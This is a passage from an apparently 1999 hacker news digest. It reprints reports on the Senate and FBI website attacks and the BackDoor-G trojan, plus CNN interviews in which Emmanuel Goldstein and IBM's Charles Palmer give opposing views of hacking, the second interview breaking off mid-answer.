  3933.       numerous ISPs to preserve backup tapes, logs, e-mail, and IRC
  3934.       conversations for about thirty individuals suspected of being hackers. 
  3935.  
  3936.       Nando Times;
  3937.       
  3938.       Hackers take down FBI and Senate Internet sites 
  3939.  
  3940.       Copyright ⌐ 1999 Nando Media
  3941.       Copyright ⌐ 1999 Associated Press
  3942.       
  3943.       By TED BRIDIS 
  3944.       
  3945.       WASHINGTON (May 28, 1999 12:04 a.m. EDT http://www.nandotimes.com) - Computer hackers
  3946.       continued a series of electronic attacks against Internet sites of federal agencies on Thursday, defacing the
  3947.       Web page for the U.S. Senate before it was taken down. 
  3948.       
  3949.       The Web site for the FBI also remained inaccessible late Thursday, a day after the agency said hackers tried
  3950.       unsuccessfully to compromise it. It was unclear when the FBI site might be made available again. 
  3951.       
  3952.       "There was an attempt (Wednesday) by unknown persons to unlawfully gain access to the FBI.Gov Web site,"
  3953.       according to a statement Thursday from the agency. "It was unsuccessful; however, as a precaution, the FBI
  3954.       shut down the site and is now taking additional steps to further insulate it." 
  3955.       
  3956.       An obscene message left briefly on the Senate's Web site Thursday blamed the attack on what it said was the
  3957.       FBI's harassment of specific hacker groups, including the group that took credit for breaking into the White
  3958.       House site earlier this month. 
  3959.       
  3960.       "Who laughs last? ...," the message said, adding that the intent was to send a monition "... to our friends at the
  3961.       FBI." 
  3962.       
  3963.       Other federal Web sites, including those for the White House and the House of Representatives, appeared to
  3964.       be operating normally late Thursday. 
  3965.       
  3966.       MSNBC reported that the attacks stemmed from the FBI's executing a search warrant on the home of a
  3967.       prominent hacker in Houston, Texas. 
  3968.       
  3969.       FBI spokesman Rolando Moss confirmed that agents were investigating allegations of computer intrusions
  3970.       involving the Houston hacker. The FBI executed four search warrants that remained sealed, Moss said. 
  3971.       
  3972.       Earlier this month, a grand jury in northern Virginia indicted Eric Burns, 19, on three counts of computer
  3973.       intrusion. Burns is reportedly known on the Internet as "Zyklon" and believed to be a member of the group that
  3974.       claimed responsibility for the attacks on the White House and the Senate sites. 
  3975.       
  3976.       Federal prosecutors accused Burns of breaking into a computer between August 1998 and January 1999 in
  3977.       northern Virginia that is used by the U.S. Information Agency. 
  3978.       
  3979.       "Zyklon" was one of a dozen names listed on the hacked version of the White House Web site, which was
  3980.       altered overnight Sunday for a few minutes before government computers automatically detected the intrusion. 
  3981.       
  3982.       The grand jury also accused Burns of breaking into two other computers, one owned by LaserNet of Fairfax,
  3983.       Va., and the other by Issue Dynamics Inc. of Washington. 
  3984.       
  3985.       CNN;
  3986.       
  3987.       
  3988.  
  3989.       Hackers react to FBI
  3990.       crackdown by invading
  3991.       Senate Web site
  3992.  
  3993.       May 27, 1999
  3994.       Web posted at: 11:04 p.m. EDT (0304 GMT)
  3995.  
  3996.       WASHINGTON (CNN) --
  3997.       Computer hackers reacted to an FBI crackdown by launching cyber assaults
  3998.       Thursday on government Web sites, including the one belonging to the U.S.
  3999.       Senate. 
  4000.  
  4001.       People calling up the Senate Web site on Thursday were redirected to one
  4002.       belonging to the hackers. Posted on the site under the hackers' logo was
  4003.       the question: "Who laughs last?"  
  4004.  
  4005.       The cyber intruders wrote that their Internet invasion of the legislative site
  4006.       was a way for them to thumb their noses at the FBI. 
  4007.  
  4008.       Federal agents earlier this week executed search warrants on
  4009.       suspected hackers' homes in Dallas, Houston and other locations. FBI
  4010.       sources did not specify if anyone was arrested, but said they believe word of
  4011.       the raids quickly spread in the computer community. 
  4012.  
  4013.       That attempt to crack down on computer hackers preceded a seemingly
  4014.       coordinated cyber attack that overloaded the FBI's own Web site, forcing
  4015.       the agency to shut down the site, officials said Thursday. 
  4016.  
  4017.       FBI officials said their site was besieged with computer hits by scores of
  4018.       computer users who were apparently outraged over the raids. 
  4019.  
  4020.       No virus was planted in the FBI site, but the sheer number of hits overloaded
  4021.       the system, said FBI spokesman Frank Scafidi, who described the incident as a
  4022.       "denial of service attack." 
  4023.  
  4024.       He said the system has been shut down temporarily so additional firewalls
  4025.       can be erected to protect it. It was unclear when the site would be back up. 
  4026.  
  4027.       The FBI's site contains general information about the agency and does not
  4028.       house sensitive information. 
  4029.  
  4030.               Justice Correspondent Pierre Thomas contributed to this report. 
  4031.  
  4032.            
  4033.       @HWA     
  4034.            
  4035.  17.0 Backdoor-G a new 'backorifice like' trojan and BO2K
  4036.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4037.       
  4038.       From HNN http://www.hackernews.com
  4039.       
  4040.       Back Orifice, NetBus, and now BackDoor-G 
  4041.  
  4042.  
  4043.       contributed by N4vi11Us 
  4044.       Yet another Trojan horse that leaves MS Windows systems wide open has been discovered.
  4045.       This new backdoor tool is similar to Back Orifice or NetBus. NetBus is now a commercial
  4046.       shareware product. Back Orifice has undergone a major rewrite and a new version, BO2K,
  4047.       is expected to be released at this years DefCon hacker convention. Once a a system has 
  4048.       had any one of these programs installed they become wide open to unknown remote users 
  4049.       who have complete control over the system. 
  4050.  
  4051.       MSNBC
  4052.       ZD Net
  4053.      
  4054.      
  4055.       From MSNBC; http://www.msnbc.com/news/274094.asp
  4056.       
  4057.       New Back Orifice-like Trojan found
  4058.       BackDoor-G allows remote access to victimÆs PC; Trojan
  4059.       horse arrives as spam with screen saver or game update
  4060.       By Bob Sullivan
  4061.       MSNBC
  4062.  
  4063.       May 27 ù Security researchers at Network
  4064.       Associates Inc. say they have found another
  4065.       Back Orifice-like Trojan Horse hack tool called
  4066.       BackDoor-G. The Trojan horse arrives in a
  4067.       userÆs e-mail posing as a screen saver or game
  4068.       update, but once executed, it turns the victimÆs
  4069.       PC into an ôopen client.ö Then, a hacker can
  4070.       add, delete, move or execute files on the victimÆs
  4071.       computer at will from anywhere on the Internet.     
  4072.       
  4073.       BACKDOOR-G IS BEING SENT out in spam mail,
  4074.       according to Sal Viveros, group marketing manager at
  4075.       Network Associates. The company discovered it
  4076.       Wednesday.
  4077.              Updated versions of virus scanning software, including
  4078.       Network Associates products, will detect BackDoor-G and
  4079.       clean it from a victimÆs system.
  4080.              Such ôremote administration toolsö started to surface
  4081.       last year when Back Orifice was released by a group calling
  4082.       itself the Cult of the Dead Cow. NetBus, another such tool,
  4083.       has since been developed into a commercial product by its
  4084.       author. With both programs, a victim is tricked into
  4085.       executing an e-mail attachment which then opens his PC to
  4086.       remote connections via the Internet. Once a victim is
  4087.       infected, a hacker can do anything to a machine that the
  4088.       victim can ù included erasing all files or copying all files. 
  4089.              Such tools represent a dangerous blending of what
  4090.       might once have been considered relatively harmless pranks
  4091.       by virus writers and hackers, Viveros said
  4092.              ôWeÆre seeing these types of malicious code attacks,
  4093.       which are trying to attack information directly or indirectly,ö
  4094.       he said. ôNow weÆre seeming to blur the lines between
  4095.       malicious code attacks and [data] vulnerability.ö
  4096.              BackDoor-G already has a variant ù a very similar
  4097.       Trojan named ôArmageddonö was discovered in France this
  4098.       morning. 
  4099.              Several Network Associates clients opened the
  4100.       attachment and exposed their systems, Viveros said. But
  4101.       when the promised screen saver did not execute, they called
  4102.       the virus company. 
  4103.  
  4104.       @HWA  
  4105.       
  4106.       
  4107.  18.0 [CNN] A Q&A with Emmanuel Goldstein, editor of 2600 magazine
  4108.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4109.       
  4110.       I didn't see a date on the following interviews but they appear fairly timeless
  4111.       so since I just found them I thought i'd share em with you...- Ed 
  4112.       
  4113.       http://www.cnn.com/TECH/specials/hackers/qandas/
  4114.  
  4115.                  Q&A with Emmanuel Goldstein of
  4116.                  2600: The Hacker's Quarterly
  4117.  
  4118.                  (CNN) -- Emmanuel Goldstein is the editor-in-chief
  4119.                  of 2600: The Hacker Quarterly and hosts a weekly
  4120.                  radio program in New York called "Off the Hook." 
  4121.  
  4122.                  1. How do you define hacking? 
  4123.  
  4124.                       Hacking is, very simply, asking a lot of
  4125.                       questions and refusing to stop asking. This
  4126.                       is why computers are perfect for inquisitive
  4127.                       people -- they don't tell you to shut up
  4128.                       when you keep asking questions or inputting
  4129.                       commands over and over and over. But
  4130.                       hacking doesn't have to confine itself to
  4131.                       computers. Anyone with an inquisitive mind,
  4132.                       a sense of adventure and strong beliefs in
  4133.                       free speech and the right to know most
  4134.                       definitely has a bit of the hacker spirit in
  4135.                       them. 
  4136.  
  4137.                  2. Are there legal or appropriate forms of
  4138.                  hacking? 
  4139.  
  4140.                       One of the common misconceptions is that
  4141.                       anyone considered a hacker is doing
  4142.                       something illegal. It's a sad commentary on
  4143.                       the state of our society when someone who
  4144.                       is basically seeking knowledge and the truth
  4145.                       is assumed to be up to something nefarious.
  4146.                       Nothing could be further from the truth. 
  4147.  
  4148.                       Hackers, in their idealistic naivetΘ, reveal
  4149.                       the facts that they discover, without
  4150.                       regard for money, corporate secrets or
  4151.                       government coverups. We have nothing to
  4152.                       hide, which is why we're always relatively
  4153.                       open with the things we do -- whether it's
  4154.                       having meetings in a public place or running
  4155.                       a system for everyone to participate in
  4156.                       regardless of background. The fact that we
  4157.                       don't "play the game" of secrets also makes
  4158.                       hackers a tremendous threat in the eyes of
  4159.                       many who want to keep things away from
  4160.                       the public. 
  4161.  
  4162.                       Secrets are all well and good, but if the
  4163.                       only thing keeping them a secret is the fact
  4164.                       that you say it's a secret, then it's not
  4165.                       really a very good secret. We suggest using
  4166.                       strong encryption for those really interested
  4167.                       in keeping things out of the hands of
  4168.                       outsiders. It's interesting also that hackers
  4169.                       are the ones who are always pushing strong
  4170.                       encryption -- if we were truly interested in
  4171.                       getting into everyone's personal affairs, it's
  4172.                       unlikely we'd try and show them how to
  4173.                       stay secure. There are, however, entities
  4174.                       who are trying to weaken encryption.
  4175.                       People should look toward them with
  4176.                       concern, as they are the true threat to
  4177.                       privacy. 
  4178.  
  4179.                  3. What in your mind is the purpose of
  4180.                  hacking? 
  4181.  
  4182.                       To seek knowledge, discover something
  4183.                       new, be the first one to find a particular
  4184.                       weakness in a computer system or the first
  4185.                       to be able to get a certain result from a
  4186.                       program. As mentioned above, this doesn't
  4187.                       have to confine itself to the world of
  4188.                       computers. Anyone who's an adventurer or
  4189.                       explorer of some sort, or any good
  4190.                       investigative journalist, knows the feeling of
  4191.                       wanting to do something nobody has ever
  4192.                       done before or find the answer despite
  4193.                       being told that you can't. One thing that all
  4194.                       of the people involved in these endeavors
  4195.                       seem to share is the feeling from outsiders
  4196.                       that they're wasting their time. 
  4197.  
  4198.                  4. Are you a hacker? Why? Or why not? 
  4199.  
  4200.                       Absolutely. It's not something you can just
  4201.                       erase from your personality, nor should you
  4202.                       want to. Once you lose the desire to mess
  4203.                       around with things, tweak programs and
  4204.                       systems, or just pursue an answer doggedly
  4205.                       until you get a result, you've lost a very
  4206.                       important part of yourself. It's quite
  4207.                       possible that many "reformed" hackers will
  4208.                       lose that special ingredient as they become
  4209.                       more and more a part of some other entity
  4210.                       that demands their very souls. But for those
  4211.                       who can resist this, or figure out a way to
  4212.                       incorporate "legitimacy" into their hacker
  4213.                       personalities without compromising them,
  4214.                       there are some very interesting and fun
  4215.                       times ahead. 
  4216.  
  4217.                  5. What kind of hacking do you do? 
  4218.  
  4219.                       My main interest has always been phones
  4220.                       and rarely does a day pass when I don't
  4221.                       experiment in some way with a phone
  4222.                       system, voice mail system, pay phone, or
  4223.                       my own telephone. I've always been
  4224.                       fascinated by the fact that we're only a
  4225.                       few buttons away from virtually anyone on
  4226.                       the planet and I hope that I never lose that
  4227.                       sense of marvel. 
  4228.  
  4229.                       One of the most amazing things I ever got
  4230.                       involved in was routing phone calls within
  4231.                       the network itself -- known as blue-boxing.
  4232.                       You can't do that as easily any more, but it
  4233.                       was a real fun way to learn how everything
  4234.                       was connected -- operators, services,
  4235.                       countries, you name it. And in the
  4236.                       not-too-distant past, there were so many
  4237.                       different sounds phones made depending on
  4238.                       where you were calling. Now they tend to
  4239.                       be standardized rings, busies, etc. But the
  4240.                       magic hasn't disappeared, it's just moved on
  4241.                       to new things ... satellite technology, new
  4242.                       phone networks and voice recognition
  4243.                       technologies. 
  4244.  
  4245.                       Many times these new technologies are
  4246.                       designed by the very people who were
  4247.                       hacking the old technologies. The result is
  4248.                       usually more security and systems that
  4249.                       know what people will find useful. While I've
  4250.                       spent a great deal of time playing with
  4251.                       phones, I get the same sense of fun from
  4252.                       computer systems and have invested lots of
  4253.                       time exploring the Internet. It would fill a
  4254.                       book to outline all of the hacker potential
  4255.                       that exists out there. And, of course,
  4256.                       there's radio hacking, which predates a lot
  4257.                       of the current technology. It's gotten to
  4258.                       the point where simply listening to a certain
  4259.                       frequency has become a challenge. It's hard
  4260.                       to believe that it's actually turned into a
  4261.                       crime to listen to some of these
  4262.                       non-scrambled radio waves. But this is the
  4263.                       price we pay when people with no
  4264.                       understanding of technology are the ones in
  4265.                       charge of regulating it. 
  4266.  
  4267.                  6. How much time do you spend at it a week? 
  4268.  
  4269.                       That's like asking how much time you spend
  4270.                       breathing. It's always with you, you do
  4271.                       more of it at certain times, but it's always
  4272.                       something that's going on in your head.
  4273.                       Even when I sleep, I dream from a hacker
  4274.                       perspective. 
  4275.  
  4276.                  7. Do you have a certain kind of site or
  4277.                  "target" sites that most attract you? 
  4278.  
  4279.                       We don't sit around with a big map and a
  4280.                       list of targets. In fact, we don't even sit
  4281.                       around together. Most hacking is done by
  4282.                       individuals who simply find things by
  4283.                       messing around and making discoveries. We
  4284.                       share that info and others add input. Then
  4285.                       someone tells the press and the
  4286.                       government that we're plotting to move
  4287.                       satellites and all hell breaks loose. 
  4288.  
  4289.                       I think most of us tend to be drawn to the
  4290.                       sites and systems that are said to be
  4291.                       impossible to access. This is a normal
  4292.                       human reaction to being challenged. The
  4293.                       very fact that we continue to do this after
  4294.                       so many of us have suffered so greatly
  4295.                       indicates that this is a very strong driving
  4296.                       force. When this finally becomes recognized
  4297.                       as a positive thing, perhaps we'll really be
  4298.                       able to learn from each other. 
  4299.  
  4300.                  8. What, in general, do you think attracts
  4301.                  people to hacking? 
  4302.  
  4303.                       People have always been attracted to
  4304.                       adventure and exploration. Never before
  4305.                       have you been able to get this without
  4306.                       leaving your house and without regard to
  4307.                       your skin color, religion, sex, or even the
  4308.                       sound of your voice. On the Internet,
  4309.                       everyone is an equal until they prove
  4310.                       themselves to be a moron. And even then,
  4311.                       you can always start over. It's the ability to
  4312.                       go anywhere, talk to anyone, and not
  4313.                       reveal your personal information unless you
  4314.                       choose to -- or don't know enough not to
  4315.                       -- that most attracts people to the hacker
  4316.                       culture, which is slowly becoming the
  4317.                       Internet culture. 
  4318.  
  4319.                       We find that many "mainstream" people
  4320.                       share the values of hackers -- the value of
  4321.                       free speech, the power of the individual
  4322.                       against the state or the corporation, and
  4323.                       the overall sense of fun that we embrace.
  4324.                       Look in any movie where an individual is
  4325.                       fighting a huge entity, and who does the
  4326.                       audience without exception identify with?
  4327.                       Even if the character breaks the rules, most
  4328.                       people want him/her to succeed because
  4329.                       the individual is what it's all about. 
  4330.  
  4331.                  9. Do you know enough hackers personally to
  4332.                  know what personality traits they share, if
  4333.                  any? 
  4334.  
  4335.                       Hackers come from all different backgrounds
  4336.                       and have all kinds of lifestyles. They aren't
  4337.                       the geeks you see on television or the
  4338.                       cyberterrorists you see in Janet Reno news
  4339.                       conferences. They range in age from under
  4340.                       10 to over 70. They exist in all parts of the
  4341.                       world, and one of the most amazing and
  4342.                       inspiring things is to see what happens
  4343.                       when they come together. It's all about
  4344.                       technology, the thrill of discovery, and
  4345.                       sharing information. That supersedes any
  4346.                       personality issues that might be an issue in
  4347.                       other circumstances. 
  4348.  
  4349.                  10. Do you think hackers are productive and
  4350.                  serve a useful purpose? 
  4351.  
  4352.                       I think hackers are necessary, and the
  4353.                       future of technology and society itself
  4354.                       (freedom, privacy, etc.) hinges on how we
  4355.                       address the issues today that hackers are
  4356.                       very much a part of. This can be the
  4357.                       dawning of a great era. It can also be the
  4358.                       beginning of true hell. 
  4359.  
  4360.                  11. What percentage would you say are
  4361.                  destructive as opposed to those in it out of
  4362.                  intellectual curiosity or to test their skills? 
  4363.  
  4364.                       This raises several points that I feel
  4365.                       strongly about. For one thing, hacking is
  4366.                       the only field where the media believes
  4367.                       anyone who says they're a hacker. Would
  4368.                       you believe someone who said they were a
  4369.                       cop? Or a doctor? Or an airline pilot? Odds
  4370.                       are they'd have to prove their ability at
  4371.                       some point or say something that obviously
  4372.                       makes some degree of sense. But you can
  4373.                       walk up to any reporter and say you're a
  4374.                       hacker and they will write a story about you
  4375.                       telling the world that you're exactly what
  4376.                       you say you are without any real proof. 
  4377.  
  4378.                       So every time a movie like "Hackers" comes
  4379.                       out, 10 million people from AOL send us
  4380.                       e-mail saying they want to be hackers, too,
  4381.                       and suddenly, every 12-year-old with this
  4382.                       sentiment instantly becomes a hacker in the
  4383.                       eyes of the media and hence, the rest of
  4384.                       society. You don't become a hacker by
  4385.                       snapping your fingers. It's not about getting
  4386.                       easy answers or making free phone calls or
  4387.                       logging into someone else's computer.
  4388.                       Hackers "feel" what they do, and it excites
  4389.                       them. 
  4390.  
  4391.                       I find that if the people around you think
  4392.                       you're wasting your time but you genuinely
  4393.                       like what you're doing, you're driven by it,
  4394.                       and you're relentless in your pursuit, you
  4395.                       have a good part of a hacker in you. But if
  4396.                       you're mobbed by people who are looking
  4397.                       for free phone calls, software or exploits,
  4398.                       you're just an opportunist, possibly even a
  4399.                       criminal. We already have words for these
  4400.                       people and it adequately defines what they
  4401.                       do. While it's certainly possible to use
  4402.                       hacking ability to commit a crime, once you
  4403.                       do this you cease being a hacker and
  4404.                       commence being a criminal. It's really not a
  4405.                       hard distinction to make. 
  4406.  
  4407.                       Now, we have a small but vocal group who
  4408.                       insist on calling anyone they deem
  4409.                       unacceptable in the hacker world a
  4410.                       "cracker." This is an attempt to solve the
  4411.                       problem of the misuse of the word "hacker"
  4412.                       by simply misusing a new word. It's a very
  4413.                       misguided, though well-intentioned, effort.
  4414.                       The main problem is that when you make up
  4415.                       such a word, no further definition is
  4416.                       required. When you label someone with a
  4417.                       word that says they're evil, you never really
  4418.                       find out what the evil was to begin with.
  4419.                       Murderer, that's easy. Burglar, embezzler,
  4420.                       rapist, kidnapper, all pretty clear. Now along
  4421.                       comes cracker and you don't even know
  4422.                       what the crime was. It could be crashing
  4423.                       every computer system in Botswana. Or it
  4424.                       could be copying a single file. We need to
  4425.                       avoid the labeling and start looking at what
  4426.                       we're actually talking about. But at the
  4427.                       same time, we have to remember that you
  4428.                       don't become a hacker simply because you
  4429.                       say you are. 
  4430.  
  4431.                  12. Do people stay in hacking a long time, or
  4432.                  is it the kind of thing that people do for a few
  4433.                  years and then move on to something else? 
  4434.  
  4435.                       It can be either. I tend to believe that it's
  4436.                       more of a philosophy, a way of looking at
  4437.                       something. When you have the hacker
  4438.                       perspective, you see potential where others
  4439.                       don't. Also, hackers think of things like
  4440.                       phones, computers, pagers, etc., as toys
  4441.                       and things to be enjoyed whereas others
  4442.                       see work and responsibility and actually
  4443.                       come to dread these things. That's why
  4444.                       hackers like to hold onto their world and not
  4445.                       become part of the mainstream. But it
  4446.                       certainly can and does happen. 
  4447.  
  4448.                  13. What is the future of hacking? 
  4449.  
  4450.                       As long as the human spirit is alive, there
  4451.                       will always be hackers. We may have a hell
  4452.                       of a fight on our hands if we continue to be
  4453.                       imprisoned and victimized for exploring, but
  4454.                       that will do anything but stop us. 
  4455.  
  4456.                  14. Given increased attention to corporate
  4457.                  and government security, is it getting tougher
  4458.                  to hack or not? 
  4459.  
  4460.                       Hacking isn't really about success -- it's
  4461.                       more the process of discovery. Even if real
  4462.                       security is implemented, there will always
  4463.                       be new systems, new developments, new
  4464.                       vulnerabilities. Hackers are always going to
  4465.                       be necessary to the process and we're not
  4466.                       easily bored. 
  4467.  
  4468.                  15. Is the possibility of being identified and
  4469.                  even prosecuted an issue for most hackers? 
  4470.  
  4471.                       Hackers make very bad criminals. This is
  4472.                       why we always wind up being prosecuted.
  4473.                       We don't hide very well or keep our mouths
  4474.                       sealed shut to protect corporate or
  4475.                       government interests. But the same
  4476.                       security holes would exist even if we
  4477.                       weren't around, so I think the hackers
  4478.                       should be properly seen as messengers.
  4479.                       That doesn't mean that you should expect
  4480.                       them to just hand over all of their
  4481.                       knowledge -- it's important to listen and
  4482.                       interpret on your own, as any hacker would.
  4483.  
  4484.                  16. Are there hackers who are up for hire?
  4485.                  What are they paid? Who hires them, and for
  4486.                  what? 
  4487.  
  4488.                       Just as you can use hacker ability to attain
  4489.                       a life of crime, you can use that ability to
  4490.                       become a corporate success. Some are able
  4491.                       to hold onto their hacker ideals. Others,
  4492.                       sadly, lose them. It's especially hard when
  4493.                       young people who haven't worked it all out
  4494.                       yet are approached and tempted with huge
  4495.                       amounts of money by these entities. It can
  4496.                       be very hard to resist and the cost is often
  4497.                       greater than anticipated. 
  4498.  
  4499.                  17. Have you had any contact with people
  4500.                  you consider cyberterrorists? Do you endorse
  4501.                  what they do? 
  4502.  
  4503.                       In all of the time I've been in the scene,
  4504.                       which is a pretty long time, I've never come
  4505.                       across anyone I consider to be a
  4506.                       "cyberterrorist," whatever that is. Most
  4507.                       people who talk of such creatures either
  4508.                       have something to sell or some bill to pass.
  4509.                       This is not to say that such a concept is
  4510.                       impossible. But I believe the current
  4511.                       discussions aren't based in reality and have
  4512.                       very suspicious ulterior motives. 
  4513.  
  4514.                  18. What about the people who hack into
  4515.                  Pentagon sites? Do you think they should be
  4516.                  punished? 
  4517.  
  4518.                       According to the Pentagon, there is no risk
  4519.                       of anything classified being compromised
  4520.                       because it's not on the Internet. If they
  4521.                       were wrong, I would like to see someone
  4522.                       prove that. If a non-classified site is
  4523.                       hacked, I don't see the harm unless
  4524.                       something is damaged in some way.
  4525.                       Remember, the security hole was already
  4526.                       there. If a hacker finds it, it's far more likely
  4527.                       the people running the system will learn of
  4528.                       the hole. If a criminal or someone with an
  4529.                       ulterior motive (espionage, etc.) finds the
  4530.                       hole first, it's likely to remain secret for
  4531.                       much longer and the harm will be far
  4532.                       greater. 
  4533.  
  4534.                       While you may resent the fact that some
  4535.                       14-year-old from Topeka proved your
  4536.                       security sucks, think of what could have
  4537.                       happened had you not learned of this and
  4538.                       had someone else done it instead. I'm the
  4539.                       first to say that people who cause damage
  4540.                       should be punished, but I really don't think
  4541.                       prison should be considered for something
  4542.                       like this unless the offender is a true risk to
  4543.                       society. The great majority of these cases
  4544.                       do not involve damage or vandalism, a fact
  4545.                       that largely goes unreported. What people
  4546.                       have to remember is that most of the time,
  4547.                       this is simply an example of kids being kids
  4548.                       and playing games like they have always
  4549.                       done. 
  4550.  
  4551.                       Obviously, the tools have changed, but
  4552.                       that's really not something the kids are
  4553.                       responsible for. If some kid somewhere can
  4554.                       access your medical records or your phone
  4555.                       records, he or she is not the one who put
  4556.                       them there. The true violator of your
  4557.                       privacy is the person who made the
  4558.                       decision to make them easily accessible. 
  4559.  
  4560.                  19. Your real name is Eric Corley. Why do you
  4561.                  use the name Emmanuel Goldstein? 
  4562.  
  4563.                       I believe everyone should be given the
  4564.                       opportunity to name themselves. That name
  4565.                       should reflect something about who you are
  4566.                       and what you believe in and stand for.
  4567.                       Emmanuel Goldstein is that for me, and for
  4568.                       those who want to learn why, get a copy of
  4569.                       George Orwell's "1984" and see for yourself.
  4570.                       Interestingly, our first issue of 2600 was
  4571.                       published in January 1984. A complete
  4572.                       coincidence. 
  4573.  
  4574.  19.0 [CNN] 'Hacking is a felony': Q&A with IBM's Charles Palmer      
  4575.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     
  4576.       
  4577.       http://www.cnn.com/TECH/specials/hackers/qandas/
  4578.       
  4579.  
  4580.                  Q&A with IBM's Charles Palmer
  4581.  
  4582.                  (CNN) -- Dr. Charles C. Palmer is the manager of
  4583.                  Network Security and Cryptography and head of
  4584.                  the Global Security Analysis Lab, which includes
  4585.                  IBM's ethical hacking unit. 
  4586.  
  4587.                  1. How do you define hacking? 
  4588.  
  4589.                       Hacking is unauthorized use of computer
  4590.                       and network resources. (The term "hacker"
  4591.                       originally meant a very gifted programmer.
  4592.                       In recent years though, with easier access
  4593.                       to multiple systems, it now has negative
  4594.                       implications.) 
  4595.  
  4596.                  2. Are there appropriate forms of hacking? 
  4597.  
  4598.                       Hacking is a felony in the United States and
  4599.                       most other countries. When it is done by
  4600.                       request and under a contract between an
  4601.                       ethical hacker and an organization, it's OK.
  4602.                       The key difference is that the ethical
  4603.                       hacker has authorization to probe the
  4604.                       target. 
  4605.  
  4606.                  3. What do you and the other members of
  4607.                  your team do? 
  4608.  
  4609.                       (We) work with IBM Consulting and its
  4610.                       customers to design and execute thorough
  4611.                       evaluations of their computer and network
  4612.                       security. Depending on the evaluation they
  4613.                       request (ranging from Web server probes to
  4614.                       all-out attacks), we gather as much
  4615.                       information as we can about the target
  4616.                       from publicly available sources. As we learn
  4617.                       more about the target, its subsidiaries and
  4618.                       network connectivity, we begin to probe for
  4619.                       weaknesses. Examples of weaknesses
  4620.                       include poor configuration of Web servers,
  4621.                       old or unpatched software, disabled
  4622.                       security controls, and poorly chosen or
  4623.                       default passwords. As we find and exploit
  4624.                       vulnerabilities, we document if and how we
  4625.                       gained access, as well as if anyone at the
  4626.                       organization noticed. (In nearly all the
  4627.                       cases, the Information Syhstems
  4628.                       department is not informed of these planned
  4629.                       attacks.) Then we work with the customer
  4630.                       to address the issues we've discovered. 
  4631.  
  4632.                  4. What is the background of the people on
  4633.                  your team? 
  4634.  
  4635.                       We have Ph.D.s in physics, computer
  4636.                       scientists, and even one former
  4637.                       photographer with a fine arts degree. They
  4638.                       are all well-known, highly respected system
  4639.                       security professionals from around the
  4640.                       world. Most of them did not start their
  4641.                       careers in this area, but ended up doing
  4642.                       computer and network security because
  4643.                       they were provoked by hackers at one time.
  4644.                       Once they started on the road to improving
  4645.                       security, they got hooked on the challenges
  4646.                       it presents. 
  4647.  
  4648.                  5. In "Helpful Hacking" from IBM Research
  4649.                  magazine in 1997, you are quoted as saying
  4650.                  you don't hire reformed hackers and "there's
  4651.                  no such thing." Could you explain? 
  4652.  
  4653.                       The number of really gifted hackers in the
  4654.                       world is very small, but there are lots of
  4655.                       wannabes.... When we do an ethical hack,
  4656.                       we could be holding the keys to that
  4657.                       company once we gain access. It's too
  4658.                       great a risk for our customers to be put in a
  4659.                       compromising position. With access to so
  4660.                       many systems and so much information, the
  4661.                       temptation for a former hacker could be too
  4662.                       great -- like a kid in an unattended candy
  4663.                       store. 
  4664.  
  4665.                  6. Is it fair to say that you are opposed to
  4666.                  hacking? 
  4667.  
  4668.                       As I said before, hacking is a felony -- for
  4669.                       good reason. Some of the "joyriders" --
  4670.                       hackers who access systems just for the
  4671.                       challenge -- think it's harmless since they
  4672.                       usually don't "do" anything besides go in
  4673.                       and look around. But if a stranger came into
  4674.                       your house, looked through everything,
  4675.                       touched several items, and left (after
  4676.                       building a small, out of the way door to be
  4677.                       sure he could easily enter again), would you
  4678.                       consider that harmless? These joyriders
  4679.                       could be causing damage inadvertently
  4680.                       since just by their presence they are using
  4681.                       system resources. 
  4682.  
  4683.                  7. Do you think hacking can be useful? 
  4684.  
  4685.                       Hacking can be useful in a controlled
  4686.                       environment where there are ground rules
  4687.                       and contractual agreements. 
  4688.  
  4689.                  8. Do you have a profile of the typical hacker?
  4690.  
  4691.                       The profile has broadened in the last couple
  4692.                       of years to include many types of people,
  4693.                       which makes it very difficult to call out a
  4694.                       "typical" hacker. The motivations behind
  4695.                       hacking have changed (see Answer No. 11
  4696.                       below). No longer are hackers limited to the
  4697.                       teen-age, soda-slurping misfits, although
  4698.                       they're probably the majority. There are
  4699.                       girls and even younger kids. Many
  4700.                       companies think all hackers come from
  4701.                       outside, but surveys continue to show that
  4702.                       the threat from inside an organization is
  4703.                       greater than from outside. So if your
  4704.                       system is compromised, it could be a
  4705.                       Gen-Xer sitting in a dark apartment, or the
  4706.                       woman in the cubicle next to you. 
  4707.  
  4708.                  9. There have been reported instances where
  4709.                  corporate security personnel have tracked
  4710.                  hacking back to the source, broken in and
  4711.                  stolen computers, or even used force. Do you
  4712.                  endorse "vigilantism" as a response to
  4713.                  hacking? 
  4714.  
  4715.                       I've heard those stories, too, and I don't
  4716.                       believe most of them. It makes zero sense
  4717.                       to respond to an illegal attack with another
  4718.                       illegal attack. First of all, it can be very
  4719.                       difficult to accurately determine where an
  4720.                       attack comes from. Whether they end up
  4721.                       retaliating against the right or wrong
  4722.                       person, they've committed a felony and are
  4723.                       just as guilty as the original perpetrator. It's
  4724.                       no different than other forms of vigilante
  4725.                       justice. 
  4726.  
  4727.                  10. What about attacking Web sites that list
  4728.                  hacking scripts? 
  4729.  
  4730.                       Again, any attack is a felony. It's a First
  4731.                       Amendment rights issue as well. Where do
  4732.                       you draw the line? Attacking adult sites?
  4733.                       Attacking spammers? It makes more sense
  4734.                       for corporations, schools and other
  4735.                       organizations to try to block access to
  4736.                       those sites. 
  4737.  
  4738.                  11. Can you characterize the nature of most
  4739.                  hacking attacks? 
  4740.  
  4741.                       A few years ago, the original motivations
  4742.                       were pursuit of knowledge and the desire to
  4743.                       "show off" one's skills. Now, there are new
  4744.                       lures of money and power. However, the
  4745.                       statistics can be misleading, so many of
  4746.                       these incidents go unreported due to lack
  4747.                       of detection or fear of further losses due to
  4748.                       tarnished image and credibility. 
  4749.  
  4750.                       I believe that the majority of hacks are still
  4751.                       motivated by curiosity and a desire to point
  4752.                       out system weaknesses. However, as
  4753.                       organizations have been finding, most of
  4754.                       today's threats come from within the
  4755.                       organization. According to a recent META
  4756.                       Group study, current figures indicate that
  4757.                       recent breaches of security within
  4758.                       Information Technology organizations occur
  4759.                       internally 58 percent of the time. The
